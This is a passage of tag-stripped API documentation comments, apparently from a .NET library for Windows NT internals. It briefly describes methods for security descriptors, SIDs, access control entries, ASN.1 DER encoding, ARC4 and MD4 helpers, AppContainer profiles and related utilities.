doesn't exist. + + + + Convert security descriptor to a byte array + + The binary security descriptor + + + + Convert security descriptor to SDDL string + + The parts of the security descriptor to return + True to throw on error. + The SDDL string + + + + Convert security descriptor to SDDL string + + The parts of the security descriptor to return + The SDDL string + + + + Convert security descriptor to SDDL string + + True to throw on error. + The SDDL string + + + + Convert security descriptor to SDDL string + + The SDDL string + + + + Converts the security to a base64 string. + + True to insert line breaks in the base64. + The relative SD as a base64 string. + + + + Converts the security to a base64 string. + + The relative SD as a base64 string. + + + + Convert security descriptor to a safe buffer. + + True to return an absolute security descriptor, false for self-relative. + True to throw on error. + A safe buffer for the security descriptor. + + + + Convert security descriptor to a safe buffer. + + True to return an absolute security descriptor, false for self-relative. + A safe buffer for the security descriptor. + + + + Convert security descriptor to a safe buffer. + + A safe buffer for the security descriptor. + This returns a self-relative security descriptor. + + + + Add an ACE to the DACL, creating the DACL if needed. + + The ACE to add to the DACL. + + + + Add an ACE to the SACL, creating the SACL if needed. + + The ACE to add to the SACL. + + + + Add an access allowed ACE to the DACL + + The access mask + The ACE flags + The SID in SDDL form + + + + Add an access allowed ACE to the DACL + + The access mask + The SID in SDDL form + + + + Add an access allowed ACE to the DACL + + The access mask + The ACE flags + The SID + + + + Add an access allowed ACE to the DACL + + The access mask + The SID + + + + Add an access denied ACE to the DACL + + The access mask + The ACE flags + The SID in SDDL form + + + + Add an access denied ACE to the DACL + + The access mask + The SID in SDDL form + + + + Add an access denied ACE to the DACL + + The access mask + The SID + + + + Add an access denied ACE to the DACL + + The access mask + The ACE flags + The SID + + + + Add an audit success ACE to the SACL + + The access mask + The SID in SDDL form + + + + Add an audit success ACE to the SACL + + The access mask + The SID + + + + Add an access denied ACE to the DACL + + The access mask + The SID in SDDL form + + + + Add an audit fail ACE to the SACL + + The access mask + The SID + + + + Add mandatory integrity label to SACL + + The integrity level + + + + Add mandatory integrity label to SACL + + The integrity level + The mandatory label policy + + + + Add mandatory integrity label to SACL + + The integrity level + The ACE flags. + The mandatory label policy + + + + Add mandatory integrity label to SACL + + The integrity label SID + The ACE flags. + The mandatory label policy + + + + Removes the mandatory label if it exists. + + + + + Map all generic access in this security descriptor to the default type specified by NtType. + + + + + Map all generic access in this security descriptor to a specific type. + + The type to get the generic mapping from. + + + + Map all generic access in this security descriptor to a specific type. + + The generic mapping. + + + + Unmap all generic access in this security descriptor to the default type specified by NtType. + + + + + Unmap all generic access in this security descriptor to a specific type. + + The type to get the generic mapping from. + + + + Unap all generic access in this security descriptor to a specific type. + + The generic mapping. + + + + Modifies a security descriptor from a new descriptor. + + The security descriptor to update with. + The parts of the security descriptor to update. + Auto inherit flags. + Optional token for the security descriptor. + Generic mapping. + True to throw on error. + The NT status code. + + + + Modifies a security descriptor from a new descriptor. + + The security descriptor to update with. + The parts of the security descriptor to update. + Auto inherit flags. + Optional token for the security descriptor. + Generic mapping. + + + + Converts the SD to an Auto-Inherit security descriptor. + + The parent security descriptor. + Optional object type GUID. + True if a directory. + Generic mapping for the object. + True to throw on error. + The NT status code. + + + + Converts the SD to an Auto-Inherit security descriptor. + + The parent security descriptor. + Optional object type GUID. + True if a directory. + Generic mapping for the object. + + + + Canonicalize the DACL if it exists. + + + + + Canonicalize the SACL if it exists. + + + + + Standardize security descriptor according to Active Directory rules. + + + + + Clone the security descriptor. + + The cloned security descriptor. + + + + Overridden ToString method. + + The security descriptor as an SDDL string. + + + + Constructor. + + Native pointer to security descriptor. + + + + Constructor. + + The process containing the security descriptor. + Native pointer to security descriptor. + + + + Constructor + + + + + Constructor. + + The NT type for the security descriptor. + + + + Constructor + + Binary form of security descriptor + Optional NT type for security descriptor. + + + + Constructor + + Binary form of security descriptor + + + + Constructor from a token default DACL and ownership values. + + The token to use for its default DACL. + + + + Constructor + + Base object for security descriptor + Token for determining user rights + True if a directory security descriptor + + + + Constructor from an SDDL string + + The SDDL string + Thrown if invalid SDDL + + + + Constructor from an SDDL string + + The SDDL string + Optional NT type for security descriptor. + Thrown if invalid SDDL + + + + Parse a security descriptor. + + Native pointer to security descriptor. + The NT type for the security descriptor. + True to throw on error. + The parsed Security Descriptor. + + + + Parse a security descriptor. + + Native pointer to security descriptor. + True to throw on error. + The parsed Security Descriptor. + + + + Parse a security descriptor. + + Safe buffer to security descriptor. + The NT type for the security descriptor. + True if the security descriptor is from a container. + True to throw on error. + The parsed Security Descriptor. + + + + Parse a security descriptor. + + Safe buffer to security descriptor. + The NT type for the security descriptor. + True to throw on error. + The parsed Security Descriptor. + + + + Parse a security descriptor. + + Safe buffer to security descriptor. + True to throw on error. + The parsed Security Descriptor. + + + + Parse a security descriptor. + + Binary form of security descriptor + The NT type for the security descriptor. + True to throw on error. + The parsed Security Descriptor. + + + + Parse a security descriptor. + + Binary form of security descriptor + True to throw on error. + The parsed Security Descriptor. + + + + Parse a security descriptor. + + The SDDL form of the security descriptor. + The NT type for the security descriptor. + True if the security descriptor is from a container. + True to throw on error. + The parsed Security Descriptor. + + + + Parse a security descriptor. + + The SDDL form of the security descriptor. + True to throw on error. + The parsed Security Descriptor. + + + + Parse a security descriptor from a base64 string + + The base64 string. + The NT type for the security descriptor. + True to throw on error. + The parsed Security Descriptor. + + + + Parse a security descriptor from a base64 string + + The base64 string. + True to throw on error. + The parsed Security Descriptor. + + + + Parse a security descriptor from a base64 string + + The base64 string. + The parsed Security Descriptor. + + + + Create a new security descriptor from a parent. + + The parent security descriptor. Can be null. + The creator security descriptor. + Optional list of object type GUIDs. + True if the objec to assign is a directory. + Auto inherit flags. + Optional token for the security descriptor. + Generic mapping. + True to throw on error. + The new security descriptor. + + + + Create a new security descriptor from a parent. + + The parent security descriptor. Can be null. + The creator security descriptor. + Optional list of object type GUIDs. + True if the objec to assign is a directory. + Auto inherit flags. + Optional token for the security descriptor. + Generic mapping. + The new security descriptor. + + + + Create a new security descriptor from a parent. + + The parent security descriptor. Can be null. + The creator security descriptor. + True if the objec to assign is a directory. + Auto inherit flags. + Optional token for the security descriptor. + Generic mapping. + True to throw on error. + The new security descriptor. + + + + Create a new security descriptor from a parent. + + The parent security descriptor. Can be null. + The creator security descriptor. + True if the objec to assign is a directory. + Auto inherit flags. + Optional token for the security descriptor. + Generic mapping. + The new security descriptor. + + + + Create a new security descriptor from a parent. + + The parent security descriptor. Can be null. + The creator security descriptor. + True if the objec to assign is a directory. + Auto inherit flags. + Optional token for the security descriptor. + Generic mapping. + True to throw on error. + The new security descriptor. + + + + Create a new security descriptor from a parent. + + The parent security descriptor. Can be null. + The creator security descriptor. + True if the objec to assign is a directory. + Auto inherit flags. + Optional token for the security descriptor. + Generic mapping. + The new security descriptor. + + + + A security descriptor SID which maintains defaulted state. + + + + + The SID. + + + + + Indicates whether the SID was defaulted or not. + + + + + Constructor from existing SID. + + The SID. + Whether the SID was defaulted or not. + + + + Convert to a string. + + The string form of the SID + + + + Clone the security descriptor SID. + + The cloned SID. + + + + The type of the security attribute name. + + + + + Class to represent an attribute name operand. + + + + + The type of attribute. + + + + + The name of the attribute. + + + + + Constructor. + + The type of the attribute. + The name of the attribute. + + + + Overridden ToString method. + + The object as a string. + + + + Class to represent a composite conditional operand. + + + + + List of operands. + + + + + Constructor. + + + + + Overridden ToString method. + + The object as a string. + + + + Class to represent a conditional expression. + + + + + Serialize the expression to a byte array. + + The expression as a byte array. + + + + Overridden ToString method. + + The object as a string. + + + + Parse a binary conditional expression. + + The data to parse. + True to throw on error. + The parsed conditional expression. + + + + Parse a binary conditional expression. + + The data to parse. + The parsed conditional expression. + + + + Parse an SDDL conditional expression. + + The SDDL expression to parse. + True to throw on error. + The parsed conditional expression. + + + + Parse an SDDL conditional expression. + + The SDDL expression to parse. + The parsed conditional expression. + + + + Get list of the conditional operands. + + + + + Size of conditional integer operand. + + + + + Sign of conditional integer operand. + + + + + Base of conditional integer operand. + + + + + Class to represent a conditional integer operand. + + + + + Size of the integer. + + + + + Value of the integer. + + + + + Sign of the integer. + + + + + Base of the integer. + + + + + Constructor. + + + + + Overridden ToString method. + + The object as a string. + + + + Class to represent an octet string conditional operand. + + + + + The value of the operand. + + + + + Constructor. + + The value of the operand. + + + + Overridden ToString method. + + The object as a string. + + + + Abstract class to represent a conditional expression operand. + + + + + Conditional operator type. + + + + + Class to represent a conditional operator operand. + + + + + The type of operator. + + + + + Constructor. + + The type of operator. + + + + Overridden ToString method. + + The object as a string. + + + + Class to represent a SID conditional operand. + + + + + The SID value. + + + + + Constructor. + + The SID value. + + + + Overridden ToString method. + + The object as a string. + + + + Class to represent a string conditional operand. + + + + + The string value. + + + + + Constructor. + + The string value. + + + + Overridden ToString method. + + The object as a string. + + + + Interface for an NT object to query and set a security descriptor. + + + + + Get the name of the object. + + + + + Get the NtType for this object. + + The NtType for the object. + + + + Get the object's security descriptor. + + + + + Get whether the object is a container. + + + + + Check if access is granted to a set of rights + + The access rights to check + True if all the access rights are granted + + + + Set the object's security descriptor + + The security descriptor to set. + What parts of the security descriptor to set + + + + Set the object's security descriptor + + The security descriptor to set. + What parts of the security descriptor to set + True to throw on error. + The NT status code. + + + + Get the security descriptor specifying which parts to retrieve + + What parts of the security descriptor to retrieve + The security descriptor + + + + Get the security descriptor specifying which parts to retrieve + + What parts of the security descriptor to retrieve + True to throw on error. + The security descriptor + + + + Class representing a Central Access Policy. + + + + + The CAP SID. + + + + + CAP Flags. + + + + + Name of the CAP. + + + + + Description of the CAP. + + + + + Change ID. Normally a date time when changed. + + + + + The list of rules associated with this policy. + + + + + Parse the policy from the registry. + + The base key for the registry policy. + True to throw on error. + The list of Central Access Policies. + + + + Parse the policy from the registry. + + True to throw on error. + The list of Central Access Policies. + + + + Parse the policy from the registry. + + The list of Central Access Policies. + + + + Parse the policy from the Local Security Authority. + + True to throw on error. + The list of Central Access Policies. + + + + Parse the policy from the Local Security Authority. + + The list of Central Access Policies. + + + + Class representing a Central Access Rule. + + + + + CAP Rule Flags. + + + + + Name of the CAP Rule. + + + + + Description of the CAP Rule. + + + + + Change ID. Normally a date time when changed. + + + + + Conditional Expression to determine who to applie the rule to. + + + + + The CAP Rule security descriptor. + + + + + The CAP Rule staged security descriptor. + + + + + Class to represent a Security Identifier. + + + + + Maximum size of a SID buffer. + + + + + The SIDs authority. + + + + + List of the SIDs sub authorities. + + + + + Get the account name of the SID or the SDDL form if no corresponding name. + + + + + Constructor for authority and sub authorities. + + The identifier authority. + The sub authorities. + + + + Constructor for authority and sub authorities. + + The identifier authority. + The sub authorities. + + + + Constructor from an unmanged buffer. + + A pointer to a buffer containing a valid SID. + Thrown if the buffer is not valid. + + + + Constructor from an unmanged buffer. + + A safe buffer containing a valid SID. + Thrown if the buffer is not valid. + + + + Constructor from a safe SID handle. + + A safe SID handle containing a valid SID. + Thrown if the buffer is not valid. + + + + Constructor from an manged buffer. + + A buffer containing a valid SID. + Thrown if the buffer is not valid. + + + + Constructor from existing Sid. + + The existing Sid. + + + + Constructor from an SDDL string. + + The SID in SDDL format. + + new Sid("S-1-0-0"); + new Sid("WD"); + + + + + + Constructor from a SID name. + + The SID name. + + + + Construct a SID from a binary reader. + + The binary reader. + + + + Convert the SID to a safe buffer. + + The safe buffer containing the SID. + + + + Convert to a managed byte array. + + The managed byte array. + + + + Compares two sids to see if their prefixes are the same. The sids must have the same number of subauthorities. + + The sid to compare against + True if the sids share a prefix. + + + + Compare two Sids. + + The other Sid to compare. + True if the Sids are equal. + + + + Equality operator. + + Sid 1 + Sid 2 + True if the Sids are equal. + + + + Inequality operator. + + Sid 1 + Sid 2 + True if the Sids are not equal. + + + + Get hash code. + + The hash code. + + + + Convert to an SDDL format string. + + The SDDL format string (e.g. S-1-1-0) + + + + Does this SID dominate another. + + The other SID. + True to throw on error. + True if the sid dominates. + + + + Does this SID dominate another. + + The other SID. + True if the sid dominates. + + + + Does this SID dominate another for trust. + + The other SID. + True to throw on error. + True if the sid dominates. + + + + Does this SID dominate another for trust. + + The other SID. + True if the sid dominates. + + + + Checks if the SID starts with the specified SID. + + The specified SID to check against. + True if the current SID starts with the specified SID. + + + + Create a SID relative to this one. + + The list of RIDs. + The relative SID. + + + + Create a SID sibling to this SID. + + The RIDs to replace the final RID with. + The sibling SID. + This replaces the final RID with one or more addditional RIDs. + + + + Get the SID name for this SID. + + True to bypass the SID name cache. + The SID name. + + + + Get the SID name for this SID. + + The SID name. + + + + Convert an SDDL SID string to a Sid + + The SDDL SID string + True to throw on error. + The converted Sid + Thrown if cannot convert from a SDDL string. + + + + Convert an SDDL SID string to a Sid + + The SDDL SID string + The converted Sid + Thrown if cannot convert from a SDDL string. + + + + Parse a byte array. + + The byte array to parse. + True to throw on error. + The parsed SID. + + + + Parse a byte array. + + The pointer to parse. + True to throw on error. + The parsed SID. + + + + Predefined security authorities + + + + + Represents an identifier authority for a SID. + + + + + Get a reference to the identifier authority. This can be used to modify the value + + + + + Constructor. + + + + + Construct from an existing authority array. + + The authority, must be 6 bytes in length. + Thrown if authority is not the correct length. + + + + Constructor from a simple predefined authority. + + The predefined authority. + + + + Construct from an Int64. + + The authority as an Int64. + + + + Compares authority to another. + + The other authority to compare against. + True if authority is equal. + + + + Get hash code. + + The authority hash code. + + + + Determines if this is a specific security authority. + + The security authority. + True if the security authority. + + + + Convert authority to a 64 bit integer. + + The authority as a 64 bit integer. + + + + Overridden ToString method. + + The security authority as a string. + + + + Source for a SID name. + + + + + SDDL string. + + + + + LSASS lookup. + + + + + Named capability. + + + + + Package name SID. + + + + + From a process trust level. + + + + + Well known SID. + + + + + Scoped policy SID. + + + + + Manually added name. + + + + + Represents a name for a SID. + + + + + The qualified name of the SID. Either the combination of + Domain and Name or the SDDL SID. + + + + + The domain name, if present. + + + + + The user name. + + + + + The source of name. + + + + + The use of the name. + + + + + The SDDL format of the SID. + + + + + Used for caching. Indicates the lookup name was denied rather than not available. + + + + + Disposable class to scope an impersonation context. + + + + + Revert impersonation back to the current user. + + + + + Class to represent the state of a token privilege + + + + + Privilege attributes + + + + + Privilege LUID + + + + + Get the token privilege value enum. + + + + + Get the name of the privilege + + The privilege name + + + + Get the display name/description of the privilege + + The display name + + + + Get whether privilege is enabled + + + + + Get whether privilege is enabled + + + + + Constructor + + The privilege LUID + The privilege attributes + + + + Constructor + + The privilege value + The privilege attributes + + + + Constructor + + The privilege name. + The privilege attributes + + + + Constructor + + The privilege name. + + + + Conver to a string + + The privilege name. + + + + Standard UNICODE_STRING class + + + + + Standard UNICODE_STRING class based on a SecureString class. + + + + + Structure to use when passing in a unicode string as a sub-structure with a seure string. + + + + + Standard ANSI_STRING class + + + + + This class is used when the UNICODE_STRING is an output parameter. + The allocatation of the buffer is handled elsewhere. + + + + + Convert unicode string to an array. + + The unicode string data as an array. + + + + This class is used when the UNICODE_STRING is an output parameter. + The allocatation of the buffer is handled elsewhere. + + + + + Structure to use when passing in a unicode string as a sub-structure. + + + + + This class is used when the UNICODE_STRING needs to be preallocated + and then returned back from a caller. + + + + + Implements a UnicodeString which contains raw bytes. + + + + + Constructor. + + The bytes for the name. + + + + Get a null safe buffer. + + + + + Class to represent a user group + + + + + The SID of the user group + + + + + The attributes of the user group + + + + + Get whether the user group is enabled + + + + + Get whether the user group is mandatory + + + + + Get whether the user group is used for deny only + + + + + Get the resolved name of the SID. + + + + + Constructor + + The SID + The attributes + + + + Constructor from a SID. + + The SID + + + + Constructor from a SID or account name. + + The SID or account name. + + + + Convert to a string + + The account name if available or the SDDL SID + + + + Basic utilities for ASN1 support. + + + + + Format an array of ASN.1 DER to a string. + + The ASN.1 data in DER format. + Initial identation depth. + The formatted DER data. + + + + Format an file containing of ASN.1 DER to a string. + + The path to the file containing ASN.1 data in DER format. + Initial identation depth. + The formatted DER data. + + + + Class to do basic ASN1 DER generation. + + + + + Constructor. + + The stream to write the DER data to. + + + + Constructor. + + + + + Write an object ID. + + The object ID to write. + + + + Write raw bytes to the stream. + + The bytes to write. + + + + Write an octet-string to the stream. + + The octet string. + + + + Write a NULL value. + + + + + Write a 32-bit integer. + + The integer value. + + + + Write a 64-bit integer. + + The integer value. + + + + Write an arbitrary integer. + + The integer value. + + + + Write a sequence based on the contents of another DER builder. + + The builder for the contents. + + + + Write a sequence based on the contents of another DER builder. + + The build function for the contents. + + + + Write a sequence based on the contents of another DER builder. + + Write a sequence of fixed values. + The build function for the contents. + + + + Create a sequence builder. + + The created builder. + You should call Close or dispose on the created builder to write the tag. + + + + Write an application specific tag with contents from the builder. + + The ID of the application specific tag. + The builder for the contents. + + + + Write an application specific tag with contents from the builder. + + The ID of the application specific tag. + The build function for the contents. + + + + Create an application specific builder. + + The ID of the application specific tag. + The created builder. + You should call Close or dispose on the created builder to write the tag. + + + + Write a context specific tag with specified contents. + + The ID of the context specific tag. + The contents of the context specific value. + + + + Write a context specific tag with contents from the builder. + + The ID of the context specific tag. + The builder for the contents. + + + + Write an application specific tag with contents from the builder. + + The ID of the context specific tag. + The build function for the contents. + + + + Create a context specific builder. + + The ID of the context specific tag. + The created builder. + You should call Close or dispose on the created builder to write the tag. + + + + Write a general encoded string. + + The string + The encoding to covert to. + + + + Write a general encoded string using ASCII encoding. + + The string + + + + Write a UTF8 string. + + The UTF8 string + + + + Write an IA5 string. + + The IA5 string + + + + Write a generalized time. + + The time to write. + + + + Convert builder to a byte array. + + The DER encoded data. + + + + A DER builder for a sub-structure.. + + You should call Close or dispose the builder to write the sub-structure. + + + + Close the builder and write its contents to the parent builder. + + + + + Static class for DER builder utility functions. + + + + + A basic ASN.1 DER parser to process Kerberos and SPNEGO Tokens. + + + + + Class containing known OID values. + + + + + Class to implement a scoped file lock. + + + + + Lock part of a file. + + The file to lock. + The offset into the file to lock + The number of bytes to lock + True to fail immediately if the lock can't be taken + True to do an exclusive lock + True to throw on error. + The NT status code. + + + + Lock part of a file. + + The file to lock. + The offset into the file to lock + The number of bytes to lock + True to fail immediately if the lock can't be taken + True to do an exclusive lock + The NT status code. + + + + Unlock the file. + + + + + IMemoryReader implementation for a process. + + + + + Class to compress and decompress buffers using RtlCompressionBuffer. + + + + + Decompress a buffer. + + The compression format used. + The compressed buffer. + The expected uncompressed length. + True to throw on error. + The uncompressed buffer. + + + + Decompress a buffer. + + The compression format used. + The compressed buffer. + The expected uncompressed length. + The uncompressed buffer. + + + + IMemoryReader implementation for a process. + + + + + Class which calls a delegate on dispose. + + + + + Constructor. + + The delegate to call on dispose. + + + + Dispose and call the action. + + + + + A container which can detach an innner reference. + + + + + + Get the contained value. + + + + + Detach the object so the original isn't disposed. + + Detached object. + + + + Miscellaneous utilities. + + + + + Convert a disposable object to a detachable object. + + The disposable object type. + The disposable object. + The disposable container. + + + + Utilities for reflection. + + + + + Get the SDK name for a type, if available. + + The type to get the name for. + The SDK name. Returns the name of the type if not available. + + + + Get the SDK name for an enum, if available. + + The enum to get the name for. + The SDK name. If the enum is a flags enum then will return the names joined with commas. + + + + Get the SDK name an object. + + The object to get the name from. If this isn't an Enum or Type then the Type of the object is used. + The SDK name. + + + + Class to create a view. This never owns the handle. + + + + + Detaches the current handle and allocates a new one. + + The detached buffer. + The original buffer will become invalid after this call. + + + + A buffer which contains an array of GUID pointers. + + + + + The count of GUIDs. + + + + + Constructor. + + The list of GUIDs. + + + + Get NULL safe buffer. + + + + + Basic implementation of ARC4. + + + + + Encrypt, or decrypt an ARC4 stream. + + The data to encrypt/decrypt. + Offset into the data to decrypt. + Length of data to decrypt. + The key to decrypt. + The resulting bytes. + + + + Encrypt, or decrypt an ARC4 stream. + + The data to encrypt/decrypt. + The key to decrypt. + The resulting bytes. + + + + Basic implementation of MD4. + + + This could have called out to the CNG APIs or dug into the + internals of the existing .NET crypto APIs but as MD4 is so + simple and it doesn't need to be secure (seriously don't use + this). This uses the reference implementation from RFC1320. + + + + + Calculate the MD4 hash of an input. + + The input bytes. + The MD4 hash. + + + + Calculate the MD4 hash of a string. + + The input string. + Encoding for the string. + The MD4 hash. + + + + Calculate the MD4 hash of a unicode string. + + The input string. + The MD4 hash. + + + + Class to perform the n-fold operation for Kerberos key derivation. + + + + + Perform an n-fold operation. + + The input data as a string. + The output length in bytes. + The computed n-folded byte array. + + + + Perform an n-fold operation. + + The input data. + The output length in bytes. + The computed n-folded byte array. + + + + A tree of Object Types. + + + + + Constructor. + + Entries to setup in the tree. + + + + Contructor. + + The object type GUID. + The name of the root object. + + + + Contructor. + + The object type GUID. + + + + Contructor. + + The object type GUID as a string. + + + + List of child nodes in the tree. + + + + + The parent of this tree. + + + + + The Object Type GUID. + + + + + Optional access mask for use in access checking. + + + + + Optional label for this tree entry. + + + + + Indicates the number of total entries this tree contains. + + + + + Add a new object type to the tree. + + The object type. + The name of the node. + The added tree object. + + + + Add a new object type to the tree. + + The object type. + The added tree object. + + + + Add an existing node to the tree. + + The node to add. + + + + Add an existing list of nodes to the tree. + + The nodes to add. + + + + Removes all object types from the tree. + + The object type. + The removed tree object. + + + + Removes all object types from the tree. + + The object type. + The removed tree object. + + + + Remove the current tree entry from the parent. + + + + + Convert the tree to an array. + + The array of ObjectTypeEntry objects. + + + + Clone the object type tree. + + The cloned tree. + + + + Set the access mask of this tree node and all children. + + The mask to set. + + + + Remove access mask from this tree node and children and propgate that up the tree. + + The mask to remove. + + + + Find an object type tree entry based on a GUID. + + The object type GUID. + The first entry found, null if doesn't exist. + + + + Split the tree up to reduce the maximum number of entries. + + This will try and keep whole branches together if at all possible, + but might split them up. This could result in incorrect access checking. + The maximum number of entries per tree. + One or more split trees. + + + + Overridden ToString method. + + The object formatted. + + + + Encoding object which converts 1 to 1 with bytes. + + + + + Default instance of the encoding. + + + + + Get the encoding name. + + + + + Get byte count for characters. + + The character array. + Index into the array. + Number of characters in the array to use. + The number of bytes this character array requires. + + + + Get bytes for characters. + + The character array. + Index into the array. + Number of characters in the array to use. + The index into the byte array. + The byte array to copy into. + The number of bytes generated. + + + + Get the character count for bytes. + + The byte array. + Index into the array. + Number of bytes in the array to use. + The number of characters this byte array requires. + + + + Get byte count for characters. + + The character array. + Index into the array. + Number of bytes in the array to use. + The index into the byte array. + The byte array to copy into. + The number of characters generated. + + + + Get maximum bytes for a number of characters. + + + + + + + Get maximum characters for a number of bytes. + + + + + + + Indicates if the encoding is a single byte. + + + + + A single extract string instance. + + + + + The string value. + + + + + The offset in the buffer. + + + + + True if the string was 16-bit Unicode. + + + + + Source of the string. Empty if was from a byte array. + + + + + Overridden ToString method. + + The value of the extracted string. + + + + Specify types of strings to extract. + + + + + Extract ASCII strings. + + + + + Extract Unicode strings. + + + + + Class to build a hex dump from a stream of bytes. + + + + + Append an array of bytes to the hex dump. + + The byte array. + The length of the bytes to append from the array. + The start offset in the bytes to append. + + + + Append an array of bytes to the hex dump. + + The byte array. + + + + Append a file or part of a file. + + The path to the file. + The length of the file to append. If 0 will append all remaining data. + The start offset in the file to append. + + + + Append a file or part of a file. + + The path to the file. + + + + Complete the hex dump string. + + + + + Finish builder and convert to a string. + + The hex dump. + + + + Constructor. + + Print a header. + Print the address. + Print the ASCII text. + Hide repeating lines. + Offset for address printing. + + + + Constructor. + + The safe buffer to print. + The length to display. + The offset into the buffer to display. + Print a header. + Print the address. + Print the ASCII text. + Hide repeating lines. + + + + Constructor. + + The safe buffer to print. + Print a header. + Print the address. + Print the ASCII text. + Hide repeating lines. + + + + Constructor. + + The stream to print. + Print a header. + Print the address. + Print the ASCII text. + Hide repeating lines. + Offset for address printing. + + + + Constructor. + + + + + Parse a hex dump into a byte array. + + The hex string. Can contain non-hex characters. + The parsed string as a byte array. + This won't necessarily parse correctly an arbitary hex dump, but it will if you just use the hex of the bytes. + + + + Parse a hex string into a byte array. + + The hex string. Can contain non-hex characters. + The parsed string as a byte array. + True if the parse was successful. + This won't necessarily parse correctly an arbitary hex dump, but it will if you just use the hex of the bytes. + + + + Utility class to extract strings from a byte value. + + + + + Extracts strings from a binary buffer. + + The data to search. + The length of the data to search. + The minimum string length. + The offset into the data to search. + The type of strings to search for. + The list of extracted strings. + + + + Extracts strings from a binary buffer. + + The data to search. + The minimum string length. + The type of strings to search for. + The list of extracted strings. + + + + Extracts strings from a stream. + + The stream to extract strings from. + The minimum string length. + The type of strings to search for. + The list of extracted strings. + + + + Extracts strings from a file. + + The file to search. + The minimum string length. + The type of strings to search for. + The list of extracted strings. + + + + Extracts strings from a safe buffer. + + Safe buffer to extract the value from. + The minimum string length. + The type of strings to search for. + The list of extracted strings. + + + + Extracts strings from a safe buffer. + + Safe buffer to extract the value from. + The minimum string length. + The type of strings to search for. + The length of the data to search. + The offset into the data to search. + The list of extracted strings. + + + + Class to call NT functions for manipulating strings. + + + + + Upper case a character according to the internal NTDLL string routines. + + The character to upper case. + The upper case character. + + + + Upper case a string according to the internal NTDLL string routines. + + The string to upper case. + True to throw on error. + The upper case string. + + + + Upper case a string according to the internal NTDLL string routines. + + The string to upper case. + The upper case string. + + + + Lower case a character according to the internal NTDLL string routines. + + The character to lower case. + The lower case character. + + + + Lower case a string according to the internal NTDLL string routines. + + The string to lower case. + True to throw on error. + The lower case string. + + + + Lower case a string according to the internal NTDLL string routines. + + The string to lower case. + The lower case string. + + + + Builder for a claim security attribute. + + + + + Name of the security attribute. + + + + + Attribute flags. + + + + + The value type. + + + + + The current list of values. + + + + + Convert build to a claim attribute. + + + + + + Create a claim security attribute builder. + + The name of the security attribute. + The attribute flags. + The value for the attribute. + The builder instance. + + + + Create a claim security attribute builder. + + The name of the security attribute. + The attribute flags. + The value for the attribute. + The builder instance. + + + + Create a claim security attribute builder. + + The name of the security attribute. + The attribute flags. + The value for the attribute. + The builder instance. + + + + Create a claim security attribute builder. + + The name of the security attribute. + The attribute flags. + The value for the attribute. + The builder instance. + + + + Create a claim security attribute builder. + + The name of the security attribute. + The attribute flags. + The value for the attribute. + The builder instance. + + + + Create a claim security attribute builder. + + The name of the security attribute. + The attribute flags. + The value for the attribute. + The builder instance. + + + + Create a claim security attribute builder. + + The name of the security attribute. + The attribute flags. + The value for the attribute. + The builder instance. + + + + Create a claim security attribute builder. + + An existing attribute to clone. + The builder instance. + + + + A class which represents an AppContainer profile. + + + + + Create a new AppContainerProfile. + + The name of the AppContainer. + A display name. + An optional description. + An optional list of capability SIDs. + True to throw on error. + The created AppContainer profile. + If the profile already exists then it'll be opened instead. + + + + Create a new AppContainerProfile. + + The name of the AppContainer. + A display name. + An optional description. + An optional list of capability SIDs. + The created AppContainer profile. + If the profile already exists then it'll be opened instead. + + + + Create a temporary AppContainer profile. + + List of capabilities for the AppContainer profile. + The created AppContainer profile. + The profile will be marked to DeleteOnClose. In order to not leak the profile you + should wait till the process has exited and dispose this profile. + + + + Create a temporary AppContainer profile. + + The created AppContainer profile. + The profile will be marked to DeleteOnClose. In order to not leak the profile you + should wait till the process has exited and dispose this profile. + + + + Opens an AppContainerProfile. + + The name of the AppContainer. + True to throw no error. + The opened AppContainer profile. + This method doesn't check the profile exists. + + + + Opens an AppContainerProfile. + + The name of the AppContainer. + The opened AppContainer profile. + This method doesn't check the profile exists. + + + + Opens an AppContainerProfile and checks it exists. + + The name of the AppContainer. + True to throw no error. + The opened AppContainer profile. + This checks for the existence of the profile and also populates the additional information. + + + + Opens an AppContainerProfile and checks it exists. + + The name of the AppContainer. + The opened AppContainer profile. + This checks for the existence of the profile and also populates the additional information. + + + + Delete an existing profile. + + The AppContainer name. + True to throw on error. + The HRESULT from the delete operation. + + + + Delete an existing profile. + + The AppContainer name. + + + + Enumerate all AppContainer profiles. + + True to throw on error. + The list of appcontainer profiles. + + + + Enumerate all AppContainer profiles. + + The list of appcontainer profiles. + + + + Delete an existing profile. + + True to throw on error. + The HRESULT from the delete operation. + + + + Delete an existing profile. + + + + + Dispose of the AppContainer profile. If DeleteOnClose is set then the profile will be deleted. + + + + + Close an AppContainer profile. If DeleteOnClose is set then the profile will be deleted. + + + + + Open the AppContainer key. + + The desired access for the key. + True to throw on error. + The opened key. + + + + The AppContainer name. + + + + + The package SID + + + + + Path to the AppContainer profile directory. + + + + + Path to the AppContainer key. + + + + + Set to true to delete the profile when closed. + + + + + Get list of capabilities assigned to this AppContainer profile. + + + + + The display name for the AppContainer profile. + + + + + The description for the AppContainer profile. + + + + + Utilities for AppModel applications. + + + + + Activate an application from its Application Model ID. + + The app model ID. + Arguments for the activation. + True to throw on error. + The PID of the process. + + + + Activate an application from its Application Model ID. + + The app model ID. + Arguments for the activation. + The PID of the process. + + + + Get the list of package SIDs with a loopback exception. + + True to throw on error. + The list of package SIDs with a loopback exception. + + + + Get the list of package SIDs with a loopback exception. + + The list of package SIDs with a loopback exception. + + + + Add a loopback exception to the list. + + The package SID to add. + True to throw on error. + The NT status code. + + + + Add a loopback exception to the list. + + The package SID to add. + + + + Remove a loopback exception from the list. + + The package SID to remove. + True to throw on error. + The NT status code. + + + + Remove a loopback exception to the list. + + The package SID to remove. + + + + State of the console session. + + + + + User logged on to WinStation + + + + + WinStation connected to client + + + + + In the process of connecting to client + + + + + Shadowing another WinStation + + + + + WinStation logged on without client + + + + + Waiting for client to connect + + + + + WinStation is listening for connection + + + + + WinStation is being reset + + + + + WinStation is down due to error + + + + + WinStation in initialization + + + + + Class to represent a console session. + + + + + The session ID. + + + + + The Session Name. + + + + + The Username if any user authenticated. + + + + + The Domain Name for the User. + + + + + The Console Session State. + + + + + The hostname for the client. + + + + + The Farm name for Virtual Machine Farm. + + + + + Get the FQ User Name. + + + + + Type information for an array. + + + + + Get array element type. + + + + + Get number of array elements. + + + + + Type information for a base type. + + + + + Symbol information for a data value. + + + + + Address of the symbol. + + + + + Enumerated type value. + + + + + Name of the value. + + + + + The value as an int64. + + + + + Symbol information for an enumerated type. + + + + + Get the values for the enumerated type. + + + + + Class for a function parameter. + + + + + Name of the parameter. + + + + + Type of the parameter. + + + + + Type information for a function. + + + + + Type for the 